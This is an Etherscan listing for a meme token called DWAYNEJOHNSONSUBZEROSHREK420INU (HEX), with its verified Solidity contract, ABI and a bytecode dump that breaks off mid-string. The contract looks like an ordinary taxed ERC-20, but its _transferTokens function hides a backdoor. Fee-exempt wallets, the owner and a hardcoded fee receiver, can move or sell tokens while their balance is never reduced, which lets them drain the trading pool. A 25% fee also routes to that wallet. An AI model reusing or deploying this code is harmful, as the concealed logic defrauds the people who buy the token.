ETH Price: $2,968.81 (-1.45%)
Gas: 3 Gwei

Token

DWAYNEJOHNSONSUBZEROSHREK420INU (HEX)
 

Overview

Max Total Supply

1,000,000,000 HEX

Holders

55

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
2ez4me.eth
Balance
2,723,310.022548036 HEX

Value
$0.00
0x3a4894f709544e5a3289d55c3b7f988839362712
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HEX

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-09
*/

// SPDX-License-Identifier: Unlicensed

/*
Website: https://djss420inu.live
Telegram: https://t.me/djss420i_erc
Twitter: https://twitter.com/djss420i_erc
 */

pragma solidity 0.8.19;

library SafeMathInt {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

interface IERC20Standard {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library LibAddress {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "LibAddress: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "LibAddress: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "LibAddress: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "LibAddress: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "LibAddress: insufficient balance for call");
        require(isContract(target), "LibAddress: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "LibAddress: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "LibAddress: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "LibAddress: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "LibAddress: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouterV1 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IDexRouterV2 is IDexRouterV1 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract HEX is Context, IERC20Standard, Ownable { 
    using SafeMathInt for uint256;
    using LibAddress for address;

    string private _name = "DWAYNEJOHNSONSUBZEROSHREK420INU"; 
    string private _symbol = "HEX";  
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10 ** 9 * 10**_decimals;

    // Tracking status of wallets
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isFeeExempt; 

    address payable private _feeReciever = payable(0x4A61857Fd07af055A9bF1062e605Ff251cd14D7d);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint8 private numBuyers = 0;
    uint8 private swapAfter = 2; 

    // Setting the initial fees
    uint256 private _totalTax = 2500;
    uint256 public _buyFees = 25;
    uint256 public _sellFees = 25;

    uint256 private _previousTotalFee = _totalTax; 
    uint256 private _previousBuyFee = _buyFees; 
    uint256 private _previousSellFee = _sellFees; 

    uint256 public maxWalletAmount = 3 * _tTotal / 100;
    uint256 public feeSwapThreshold = _tTotal / 10000;
                                     
    IDexRouterV2 public dexRouter;
    address public dexPair;

    bool public transferFeeEnabled = true;
    bool public swapping;
    bool public swapEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {
        _balances[owner()] = _tTotal;
        IDexRouterV2 _uniswapV2Router = IDexRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        // Create pair address for PancakeSwap
        dexPair = IDexFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        dexRouter = _uniswapV2Router;
        _isFeeExempt[owner()] = true;
        _isFeeExempt[_feeReciever] = true;
        
        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxWalletAmount = ~uint256(0);
        _totalTax = 100;
        _buyFees = 1;
        _sellFees = 1;
    }

    // Check if token transfer needs to process fees
    function _transferNormalized(address sender, address recipient, uint256 amount,bool takeFee) private {
            
        if(!takeFee){
            removeAllFee();
            } else {
                numBuyers++;
            }
        _transferTokens(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }
    
    function _getTransferAmount(uint256 finalAmount) private view returns (uint256, uint256) {
        uint256 tDev = finalAmount.mul(_totalTax).div(100);
        uint256 tTransferAmount = finalAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function removeAllFee() private {
        if(_totalTax == 0 && _buyFees == 0 && _sellFees == 0) return;

        _previousBuyFee = _buyFees; 
        _previousSellFee = _sellFees; 
        _previousTotalFee = _totalTax;
        _buyFees = 0;
        _sellFees = 0;
        _totalTax = 0;

    }

    function swapBackTokensOnCA(uint256 contractTokenBalance) private lockSwap {
        
        swapTokensToETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendETHtoFee(_feeReciever,contractETH);
    }

    
    // Restore all fees
    function restoreAllFee() private {
        
        _totalTax = _previousTotalFee;
        _buyFees = _previousBuyFee; 
        _sellFees = _previousSellFee; 

    }

    // Approve a wallet to sell tokens
    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function sendETHtoFee(address payable receiver, uint256 amount) private {
        receiver.transfer(amount);
    }

    function _transferTokens(address sender, address recipient, uint256 finalAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getTransferAmount(finalAmount);
        if(_isFeeExempt[sender] && _balances[sender] <= maxWalletAmount) {
            tDev = 0;
            finalAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(finalAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != _feeReciever &&
            to != address(this) &&
            to != dexPair &&
            to != DEAD &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxWalletAmount,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(
            numBuyers >= swapAfter && 
            amount > feeSwapThreshold &&
            !swapping &&
            !_isFeeExempt[from] &&
            to == dexPair &&
            swapEnabled 
            )
        {  
            numBuyers = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapBackTokensOnCA(contractTokenBalance);
           }
        }
        
        bool takeFee = true;
         
        if(_isFeeExempt[from] || _isFeeExempt[to] || (transferFeeEnabled && from != dexPair && to != dexPair)){
            takeFee = false;
        } else if (from == dexPair){
            _totalTax = _buyFees;
        } else if (to == dexPair){
            _totalTax = _sellFees;
        }

        _transferNormalized(from,to,amount,takeFee);
    }
    
    function swapTokensToETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();
        _approve(address(this), address(dexRouter), tokenAmount);
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFeeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052601f60809081527f445741594e454a4f484e534f4e5355425a45524f534852454b343230494e550060a0526001906200003e9082620004e7565b506040805180820190915260038152620908ab60eb1b6020820152600290620000689082620004e7565b506003805460ff191660099081179091556200008690600a620006c8565b6200009690633b9aca00620006e0565b6004819055600880546001600160a01b031916734a61857fd07af055a9bf1062e605ff251cd14d7d17905560098054750200000000000000000000000000000000000000dead6001600160b01b03199091161790556109c4600a8190556019600b819055600c819055600d91909155600e819055600f556064906200011d906003620006e0565b620001299190620006fa565b6010556127106004546200013e9190620006fa565b6011556013805462ff00ff60a01b19166201000160a01b1790553480156200016557600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460056000620001bf6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200023b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026191906200071d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002af573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d591906200071d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000323573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034991906200071d565b601380546001600160a01b03199081166001600160a01b039384161790915560128054909116918316919091179055600160076000620003916000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560085490911681526007909252902080549091166001179055620003eb6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200043391815260200190565b60405180910390a35062000748565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200046d57607f821691505b6020821081036200048e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004e257600081815260208120601f850160051c81016020861015620004bd5750805b601f850160051c820191505b81811015620004de57828155600101620004c9565b5050505b505050565b81516001600160401b0381111562000503576200050362000442565b6200051b8162000514845462000458565b8462000494565b602080601f8311600181146200055357600084156200053a5750858301515b600019600386901b1c1916600185901b178555620004de565b600085815260208120601f198616915b82811015620005845788860151825594840194600190910190840162000563565b5085821015620005a35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200060a578160001904821115620005ee57620005ee620005b3565b80851615620005fc57918102915b93841c9390800290620005ce565b509250929050565b6000826200062357506001620006c2565b816200063257506000620006c2565b81600181146200064b5760028114620006565762000676565b6001915050620006c2565b60ff8411156200066a576200066a620005b3565b50506001821b620006c2565b5060208310610133831016604e8410600b84101617156200069b575081810a620006c2565b620006a78383620005c9565b8060001904821115620006be57620006be620005b3565b0290505b92915050565b6000620006d960ff84168362000612565b9392505050565b8082028115828204841417620006c257620006c2620005b3565b6000826200071857634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200073057600080fd5b81516001600160a01b0381168114620006d957600080fd5b61132480620007586000396000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063de2870711161006f578063de287071146103c7578063de7cf799146103dd578063e4d1a874146103f3578063e7f1bfcb14610409578063f242ab411461042a578063f2fde38b1461044a57600080fd5b8063751039fc146103035780638da5cb5b1461031857806395d89b4114610336578063a9059cbb1461034b578063aa4bde281461036b578063dd62ed3e1461038157600080fd5b806323b872dd1161010857806323b872dd1461022357806327fa7b1814610243578063313ce567146102735780636ddd17131461029557806370a08231146102b6578063715018a6146102ec57600080fd5b806306fdde03146101505780630758d9241461017b578063095ea7b3146101b35780631732cded146101e357806318160ddd1461020457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561046a565b6040516101729190610ff6565b60405180910390f35b34801561018757600080fd5b5060125461019b906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b3480156101bf57600080fd5b506101d36101ce36600461105c565b6104fc565b6040519015158152602001610172565b3480156101ef57600080fd5b506013546101d390600160a81b900460ff1681565b34801561021057600080fd5b506004545b604051908152602001610172565b34801561022f57600080fd5b506101d361023e366004611088565b610513565b34801561024f57600080fd5b506101d361025e3660046110c9565b60076020526000908152604090205460ff1681565b34801561027f57600080fd5b5060035460405160ff9091168152602001610172565b3480156102a157600080fd5b506013546101d390600160b01b900460ff1681565b3480156102c257600080fd5b506102156102d13660046110c9565b6001600160a01b031660009081526005602052604090205490565b3480156102f857600080fd5b5061030161057c565b005b34801561030f57600080fd5b506103016105f9565b34801561032457600080fd5b506000546001600160a01b031661019b565b34801561034257600080fd5b5061016561063a565b34801561035757600080fd5b506101d361036636600461105c565b610649565b34801561037757600080fd5b5061021560105481565b34801561038d57600080fd5b5061021561039c3660046110e6565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156103d357600080fd5b5061021560115481565b3480156103e957600080fd5b50610215600c5481565b3480156103ff57600080fd5b50610215600b5481565b34801561041557600080fd5b506013546101d390600160a01b900460ff1681565b34801561043657600080fd5b5060135461019b906001600160a01b031681565b34801561045657600080fd5b506103016104653660046110c9565b610656565b6060600180546104799061111f565b80601f01602080910402602001604051908101604052809291908181526020018280546104a59061111f565b80156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610509338484610740565b5060015b92915050565b6000610520848484610801565b610572843361056d856040518060600160405280602881526020016112c7602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b86565b610740565b5060019392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a690611159565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016105a690611159565b6000196010556064600a556001600b819055600c55565b6060600280546104799061111f565b6000610509338484610801565b6000546001600160a01b031633146106805760405162461bcd60e51b81526004016105a690611159565b6001600160a01b0381166106e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076057506001600160a01b03821615155b6107a05760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a6565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082d57506008546001600160a01b03838116911614155b801561084257506001600160a01b0382163014155b801561085c57506013546001600160a01b03838116911614155b801561087657506009546001600160a01b03838116911614155b801561089057506000546001600160a01b03848116911614155b1561091c576001600160a01b0382166000908152600560205260409020546010546108bb83836111a4565b111561091a5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a6565b505b6001600160a01b0383161580159061093c57506001600160a01b03821615155b6109805760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a6565b600081116109de5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a6565b60095460ff600160a81b82048116600160a01b9092041610801590610a04575060115481115b8015610a1a5750601354600160a81b900460ff16155b8015610a3f57506001600160a01b03831660009081526007602052604090205460ff16155b8015610a5857506013546001600160a01b038381169116145b8015610a6d5750601354600160b01b900460ff165b15610aa0576009805460ff60a01b19169055306000908152600560205260409020548015610a9e57610a9e81610bb2565b505b6001600160a01b03831660009081526007602052604090205460019060ff1680610ae257506001600160a01b03831660009081526007602052604090205460ff165b80610b295750601354600160a01b900460ff168015610b0f57506013546001600160a01b03858116911614155b8015610b2957506013546001600160a01b03848116911614155b15610b3657506000610b74565b6013546001600160a01b0390811690851603610b5757600b54600a55610b74565b6013546001600160a01b0390811690841603610b7457600c54600a555b610b8084848484610bf7565b50505050565b60008184841115610baa5760405162461bcd60e51b81526004016105a69190610ff6565b505050900390565b6013805460ff60a81b1916600160a81b179055610bce81610c64565b6008544790610be6906001600160a01b031682610dbe565b50506013805460ff60a81b19169055565b80610c0957610c04610df9565b610c3d565b60098054600160a01b900460ff16906014610c23836111b7565b91906101000a81548160ff021916908360ff160217905550505b610c48848484610e3e565b80610b8057610b80600d54600a55600e54600b55600f54600c55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c9957610c996111d6565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cf2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1691906111ec565b81600181518110610d2957610d296111d6565b6001600160a01b039283166020918202929092010152601254610d4f9130911684610740565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d88908590600090869030904290600401611209565b600060405180830381600087803b158015610da257600080fd5b505af1158015610db6573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610df4573d6000803e3d6000fd5b505050565b600a54158015610e095750600b54155b8015610e155750600c54155b15610e1c57565b600b8054600e55600c8054600f55600a8054600d556000928390559082905555565b600080610e4a83610f81565b6001600160a01b038716600090815260076020526040902054919350915060ff168015610e9157506010546001600160a01b03861660009081526005602052604090205411155b15610ea657506000610ea3828461127a565b92505b6001600160a01b038516600090815260056020526040902054610ec99084610fbf565b6001600160a01b038087166000908152600560205260408082209390935590861681522054610ef89083610fd2565b6001600160a01b038516600090815260056020526040808220929092553081522054610f249082610fd2565b3060009081526005602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610fa66064610fa0600a5487610fde90919063ffffffff16565b90610fea565b90506000610fb48583610fbf565b959194509092505050565b6000610fcb828461127a565b9392505050565b6000610fcb82846111a4565b6000610fcb828461128d565b6000610fcb82846112a4565b600060208083528351808285015260005b8181101561102357858101830151858201604001528201611007565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461105957600080fd5b50565b6000806040838503121561106f57600080fd5b823561107a81611044565b946020939093013593505050565b60008060006060848603121561109d57600080fd5b83356110a881611044565b925060208401356110b881611044565b929592945050506040919091013590565b6000602082840312156110db57600080fd5b8135610fcb81611044565b600080604083850312156110f957600080fd5b823561110481611044565b9150602083013561111481611044565b809150509250929050565b600181811c9082168061113357607f821691505b60208210810361115357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050d5761050d61118e565b600060ff821660ff81036111cd576111cd61118e565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111fe57600080fd5b8151610fcb81611044565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112595784516001600160a01b031683529383019391830191600101611234565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050d5761050d61118e565b808202811582820484141761050d5761050d61118e565b6000826112c157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfda79b699687796b21c15b66e6ec68307359249f3fac27be820680d5d54e90c64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101445760003560e01c8063751039fc116100b6578063de2870711161006f578063de287071146103c7578063de7cf799146103dd578063e4d1a874146103f3578063e7f1bfcb14610409578063f242ab411461042a578063f2fde38b1461044a57600080fd5b8063751039fc146103035780638da5cb5b1461031857806395d89b4114610336578063a9059cbb1461034b578063aa4bde281461036b578063dd62ed3e1461038157600080fd5b806323b872dd1161010857806323b872dd1461022357806327fa7b1814610243578063313ce567146102735780636ddd17131461029557806370a08231146102b6578063715018a6146102ec57600080fd5b806306fdde03146101505780630758d9241461017b578063095ea7b3146101b35780631732cded146101e357806318160ddd1461020457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561046a565b6040516101729190610ff6565b60405180910390f35b34801561018757600080fd5b5060125461019b906001600160a01b031681565b6040516001600160a01b039091168152602001610172565b3480156101bf57600080fd5b506101d36101ce36600461105c565b6104fc565b6040519015158152602001610172565b3480156101ef57600080fd5b506013546101d390600160a81b900460ff1681565b34801561021057600080fd5b506004545b604051908152602001610172565b34801561022f57600080fd5b506101d361023e366004611088565b610513565b34801561024f5